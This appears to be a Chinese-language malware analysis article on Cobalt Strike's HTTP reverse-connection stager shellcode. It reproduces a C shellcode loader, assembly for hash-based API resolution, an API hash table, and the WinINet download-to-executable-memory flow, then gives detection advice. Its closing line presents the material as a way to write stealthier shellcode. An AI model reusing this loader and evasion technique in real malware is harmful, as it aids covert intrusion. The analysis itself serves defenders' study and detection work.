CobaltStrike Shellcode分析
字数 1847 2025-08-07 08:21:57
CobaltStrike Shellcode逆向分析:HTTP反向连接实现详解
一、Shellcode生成与基础设置
1.1 生成C语言版Payload
#include <stdio.h>
#include <Windows.h>
#pragma comment(linker, "/section:.data,RWE") // 设置数据段可执行
unsigned char buf[] = ""; // Shellcode存放位置
int main() {
// 直接执行数据段中的Shellcode
((void(*)())buf)();
return 0;
}
关键点:
- 使用
#pragma comment(linker, "/section:.data,RWE")使数据段可读可写可执行 - 静态内存分配便于调试(地址不变)
- 通过函数指针直接执行Shellcode
1.2 Shellcode结构特点
- 开头常见
CLD指令(硬编码FC),清除方向标志位 - 使用相对调用(
CALL)而非绝对地址 - 混合代码和数据,包含字符串和特征值
二、Shellcode执行流程分析
2.1 函数地址解析机制
核心算法:通过PEB遍历+哈希比较动态获取API地址
2.1.1 遍历模块列表
xor edx, edx
mov edx, dword ptr fs:[edx+30] ; 获取PEB地址
mov edx, dword ptr ds:[edx+C] ; 获取PEB_LDR_DATA
mov edx, dword ptr ds:[edx+14] ; 获取第一个LDR_DATA_TABLE_ENTRY
2.1.2 模块名哈希计算
mov esi, dword ptr ds:[edx+28] ; 获取BaseDllName
movzx ecx, word ptr ds:[edx+26] ; 获取文件名长度
xor edi, edi
hash_loop:
xor eax, eax
lodsb ; 读取一个字符
cmp al, 61h ; 判断是否小写字母
jl not_lower
sub al, 20h ; 转换为大写
not_lower:
ror edi, 0Dh ; 循环右移13位
add edi, eax ; 累加字符值
loop hash_loop
2.1.3 导出表遍历与函数匹配
mov eax, dword ptr ds:[edx+3C] ; 获取PE头偏移
add eax, edx ; 获取PE头地址
mov eax, dword ptr ds:[eax+78] ; 获取导出表RVA
add eax, edx ; 获取导出表实际地址
; 遍历导出函数
mov ecx, dword ptr ds:[eax+18] ; NumberOfNames
mov ebx, dword ptr ds:[eax+20] ; AddressOfNames
add ebx, edx
function_loop:
dec ecx
mov esi, dword ptr ds:[ebx+ecx*4]
add esi, edx ; 获取函数名字符串地址
; 计算函数名哈希
xor edi, edi
hash_func:
xor eax, eax
lodsb
ror edi, 0Dh
add edi, eax
cmp al, ah
jne hash_func
add edi, dword ptr ss:[ebp-8] ; 加上模块哈希
cmp edi, dword ptr ss:[ebp+24] ; 与目标哈希比较
jne function_loop
2.2 关键API调用流程
2.2.1 初始加载
-
LoadLibraryA - 加载wininet.dll
- 特征哈希:
0x726774C - 参数:
"wininet"
- 特征哈希:
-
InternetOpenA - 初始化WinINet
- 特征哈希:
0xA779563A - 参数:全部为NULL
- 特征哈希:
2.2.2 建立HTTP连接
-
InternetConnectA - 连接服务器
- 特征哈希:
0xC69F8957 - 参数:
push ecx ; NULL (dwContext) push ecx ; NULL (dwFlags) push 3 ; INTERNET_SERVICE_HTTP push ecx ; NULL (lpszPassword) push ecx ; NULL (lpszUsername) push 52h ; 80端口 push ebx ; 服务器IP地址字符串 push eax ; InternetOpen返回的句柄
- 特征哈希:
-
HttpOpenRequestA - 创建HTTP请求
- 特征哈希:
0x3B2E55EB - 参数:
push edx ; NULL (dwContext) push 84400200h ; INTERNET_FLAG_NO_CACHE_WRITE push edx ; NULL (lplpszAcceptTypes) push edx ; NULL (lpszReferrer) push edx ; NULL (lpszVersion) push ebx ; 请求路径 push edx ; NULL (lpszVerb) push eax ; InternetConnect返回的句柄
- 特征哈希:
-
HttpSendRequestA - 发送HTTP请求
- 特征哈希:
0x7B18062D - 参数:
push edi ; NULL (dwOptionalLength) push edi ; NULL (lpOptional) push FFFFFFFFh ; -1 (dwHeadersLength) push ebx ; 请求头字符串 push esi ; HttpOpenRequest返回的句柄
- 特征哈希:
2.2.3 错误处理
-
GetDesktopWindow - 获取桌面窗口句柄
- 特征哈希:
0x315E2145 - 无参数
- 特征哈希:
-
InternetErrorDlg - 显示错误对话框
- 特征哈希:
0xBE057B7 - 参数:
push eax ; 桌面窗口句柄 push esi ; 请求句柄 push ecx ; 错误代码 push 70h ; 标志位 push edi ; NULL
- 特征哈希:
2.2.4 内存分配与数据接收
-
VirtualAlloc - 分配可执行内存
- 特征哈希:
0xE553A458 - 参数:
push edi ; NULL push 4000000h ; 64MB大小 push 1000h ; MEM_COMMIT push 40h ; PAGE_EXECUTE_READWRITE
- 特征哈希:
-
InternetReadFile - 读取响应数据
- 特征哈希:
0xE2899612 - 参数:
push esi ; 请求句柄 push ebx ; 缓冲区地址(VirtualAlloc返回) push 2000h ; 读取大小(8KB) push edi ; 接收实际读取字节数的指针 - 循环读取直到数据接收完成
- 特征哈希:
三、关键技术点总结
3.1 哈希算法
- 模块名和函数名使用相同的哈希算法
- 算法步骤:
- 初始化哈希值为0
- 对每个字符:
- 转换为大写(如为小写)
- 当前哈希值循环右移13位
- 加上字符的ASCII值
- 示例:
"LoadLibraryA"→0x726774C
3.2 内存规避技术
- 不使用
GetProcAddress等敏感API - 避免字符串直接暴露(使用压栈方式构造字符串)
- 动态计算所有API地址
- 数据与代码混合存放
3.3 网络通信流程
InternetOpenA → InternetConnectA → HttpOpenRequestA → HttpSendRequestA → InternetReadFile
- 完整的HTTP通信链
- 分块接收数据(每次8KB)
- 错误处理机制
3.4 关键哈希值对照表
| 哈希值 | API函数 |
|---|---|
| 0x0726774C | LoadLibraryA |
| 0xA779563A | InternetOpenA |
| 0xC69F8957 | InternetConnectA |
| 0x3B2E55EB | HttpOpenRequestA |
| 0x7B18062D | HttpSendRequestA |
| 0x315E2145 | GetDesktopWindow |
| 0xBE057B7 | InternetErrorDlg |
| 0xE553A458 | VirtualAlloc |
| 0xE2899612 | InternetReadFile |
四、防御检测建议
-
行为检测:
- 监控非常规的PEB遍历操作
- 检测连续的WinINet API调用链
- 关注大块可执行内存分配行为
-
特征检测:
- 识别哈希算法特征(循环右移13位)
- 检测
CLD开头的Shellcode - 监控包含关键哈希值的内存区域
-
网络检测:
- 分析异常的HTTP请求头
- 监控分块接收数据的模式
- 检测非常规端口上的HTTP通信
-
内存保护:
- 禁止数据段执行(取消
DATA段的X属性) - 监控动态代码生成行为
- 禁止数据段执行(取消
通过深入理解这段Shellcode的工作原理,安全人员可以更好地设计检测规则,同时开发人员也能学习到如何编写更隐蔽的Shellcode实现技术。